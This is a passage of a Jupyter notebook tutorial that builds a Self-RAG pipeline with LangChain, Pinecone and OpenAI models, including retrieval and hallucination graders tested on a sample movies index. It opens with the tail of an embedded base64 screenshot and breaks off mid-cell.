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ECBAgQIECAAAECBC4vIOB0eRtPCBAgQIAAAQIECBAoAYG45dzvX9gRlj+3o8NsbhpSFf6WZB8pVyaw9s3D4UePv9bhpeH1A8KyBz4WmkbVdHimgQABAgQIECBAgAABAp0JdL1fQ2dve0aAAAECBAgQIECAAIFeFogZP9/5wvhw98zGsGr93vDCvw+E/UmG0Kkkm6f5VNdb6vXy9Mpy+CPNl7bZi7Y11ZVhWnJe05c/OSLMaRrarXOkyvKjTZoAAQIECBAgQIAAgV4VkOHUq7wGJ0CAAAECBAgQIECgNwXiBuHd3XauN+dRjmOzK8dVM2cCBAgQIECAAAECpSsg4FS6a2NmBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGyELihLGZpkgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAiUrIOBUsktjYgQIECBAgAABAgQIECBAgAABAgQIECBAgACB8hAQcCqPdTJLAgQIECBAgAABAgQIECBAgAABAgQIECBAgEDJCgg4lezSmBgBAgQIECBAgAABAgQIECBAgAABAgQIECBAoDwEBJzKY53MkgABAgQIECBAgAABAgQIECBAgAABAgQIECBQsgICTiW7NCZGgAABAgQIECBAgAABAgQIECBAgAABAgQIECgPAQGn8lgnsyRAgAABAgQIECBAgAABAgQIECBAgAABAgQIlKyAgFPJLo2JESBAgAABAgQIECBAgAABAgQIECBAgAABAgTKQ0DAqTzWySwJECBAgAABAgQIECBAgAABAgQIECBAgAABAiUrIOBUsktjYgQIECBAgAABAgQIECBAgAABAgQIECBAgACB8hAQcCqPdTJLAgQIECBAgAABAgQIECBAgAABAgQIECBAgEDJCgg4lezSmBgBAgQIECBAgAABAgQIECBAgAABAgQIECBAoDwEBJzKY53MkgABAgQIECBAgAABAgQIECBAgAABAgQIECBQsgICTiW7NCZGgAABAgQIECBAgAABAgQIECBAgAABAgQIECgPAQGn8lgnsyRAgAABAgQIECBAgAABAgQIECBAgAABAgQIlKzA/wHZpDlUM4Q3oAAAAABJRU5ErkJggg==" + } + }, + "cell_type": "markdown", + "id": "919fe33c-0149-4f7d-b200-544a18986c9a", + "metadata": {}, + "source": [ + "# Self RAG\n", + "\n", + "Self-RAG is a strategy for RAG that incorporates self-reflection / self-grading on retrieved documents and generations. \n", + "\n", + "[Paper](https://arxiv.org/abs/2310.11511)\n", + "\n", + "![Screenshot 2024-04-01 at 12.41.50 PM.png](attachment:15cba0ab-a549-4909-8373-fb761e384eff.png)" + ] + }, + { + "cell_type": "markdown", + "id": "72f3ee57-68ab-4040-bd36-4014e2a23d96", + "metadata": {}, + "source": [ + "# Environment " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a384cc48-0425-4e8f-aafc-cfb8e56025c9", + "metadata": {}, + "outputs": [], + "source": [ + "%pip install -qU langchain-pinecone langchain-openai langchainhub langgraph" + ] + }, + { + "cell_type": "markdown", + "id": "532d91fb-381e-4e11-b3b1-254321351773", + "metadata": {}, + "source": [ + "### Tracing\n", + "\n", + "Use [LangSmith](https://docs.smith.langchain.com/) for tracing (shown at bottom)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ccc3dae5-1df6-48ca-af8a-50f0e6128876", + "metadata": {}, + "outputs": [], + "source": [ + "import os\n", + "\n", + "os.environ[\"LANGCHAIN_TRACING_V2\"] = \"true\"\n", + "os.environ[\"LANGCHAIN_ENDPOINT\"] = \"https://api.smith.langchain.com\"\n", + "os.environ[\"LANGCHAIN_API_KEY\"] = \"\"" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "88637820", + "metadata": {}, + "outputs": [], + "source": [ + "import os\n", + "\n", + "os.environ[\"LANGCHAIN_PROJECT\"] = \"pinecone-devconnect\"" + ] + }, + { + "cell_type": "markdown", + "id": "c27bebdc-be71-4130-ab9d-42f09f87658b", + "metadata": {}, + "source": [ + "## Retriever\n", + " \n", + "Let's use Pinecone's sample movies database" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "565a6d44-2c9f-4fff-b1ec-eea05df9350d", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain_openai import OpenAIEmbeddings\n", + "from langchain_pinecone import PineconeVectorStore\n", + "\n", + "# use pinecone movies database\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = PineconeVectorStore(\n", + " embedding=OpenAIEmbeddings(),\n", + " index_name=\"sample-movies\",\n", + " text_key=\"summary\",\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "1aeb4373", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "# Avatar\n", + "On the alien world of Pandora, paraplegic Marine Jake Sully uses an avatar to walk again and becomes torn between his mission and protecting the planet's indigenous Na'vi people. The film stars Sam Worthington, Zoe Saldana, and Sigourney Weaver.\n", + "\n", + "# Top Gun: Maverick\n", + "Capt. Pete \"Maverick\" Mitchell, after decades of service as one of the Navy's top aviators, confronts his past while training a new squad for a dangerous mission. Tom Cruise reprises his iconic role, showcasing thrilling aerial stunts.\n", + "\n", + "# Jurassic World Dominion\n", + "The film concludes the story of Jurassic World, with humanity now living alongside dinosaurs. It follows Owen Grady and Claire Dearing as they navigate this new world.\n", + "\n", + "# Aquaman\n", + "Arthur Curry learns he is the heir to the underwater kingdom of Atlantis and must step forward to lead his people and be a hero to the world. Stars Jason Momoa, Amber Heard, and Willem Dafoe.\n", + "\n" + ] + } + ], + "source": [ + "docs = retriever.invoke(\"James Cameron\")\n", + "for doc in docs:\n", + " print(\"# \" + doc.metadata[\"title\"])\n", + " print(doc.page_content)\n", + " print()" + ] + }, + { + "cell_type": "markdown", + "id": "29c12f74-53e2-43cc-896f-875d1c5d9d93", + "metadata": {}, + "source": [ + "## Structured Output - Retrieval Grader" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "1fafad21-60cc-483e-92a3-6a7edb1838e3", + "metadata": {}, + "outputs": [], + "source": [ + "### Retrieval Grader\n", + "\n", + "from langchain import hub\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "\n", + "# Data model\n", + "class GradeDocuments(BaseModel):\n", + " \"\"\"Binary score for relevance check on retrieved documents.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Documents are relevant to the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# https://smith.langchain.com/hub/efriis/self-rag-retrieval-grader\n", + "grade_prompt = hub.pull(\"efriis/self-rag-retrieval-grader\")\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeDocuments)\n", + "\n", + "retrieval_grader = grade_prompt | structured_llm_grader" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "2e79eed8", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Arthur Curry learns he is the heir to the underwater kingdom of Atlantis and must step forward to lead his people and be a hero to the world. Stars Jason Momoa, Amber Heard, and Willem Dafoe.\n", + "binary_score='yes'\n" + ] + } + ], + "source": [ + "# Test the retrieval grader\n", + "question = \"movies starring jason momoa\"\n", + "docs = retriever.invoke(question)\n", + "doc_txt = docs[0].page_content\n", + "print(doc_txt)\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "markdown", + "id": "c06abc65", + "metadata": {}, + "source": [ + "# Generation Step\n", + "\n", + "Standard RAG" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "dcd77cc1-4587-40ec-b633-5364eab9e1ec", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Jason Momoa stars in the movies \"Aquaman\" and \"Furious 7.\"\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0)\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "e78931ec-940c-46ad-a0b2-f43f953f1fd7", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Jason Momoa stars in the movies \"Aquaman\" and \"Furious 7.\"\n" + ] + }, + { + "data": { + "text/plain": [ + "GradeHallucinations(binary_score='yes')" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeHallucinations(BaseModel):\n", + " \"\"\"Binary score for hallucination present in generation answer.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer is grounded in the facts, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeHallucinations)\n", + "\n", + "# https://smith.langchain.com/hub/efriis/self-rag-hallucination-grader\n", + "hallucination_prompt = hub.pull(\"efriis/self-rag-hallucination-grader\")\n", + "\n", + "hallucination_grader = hallucination_prompt | structured_llm_grader\n", + "print(generation)\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "bd62276f-bf26-40d0-8cff-e07b10e00321", + 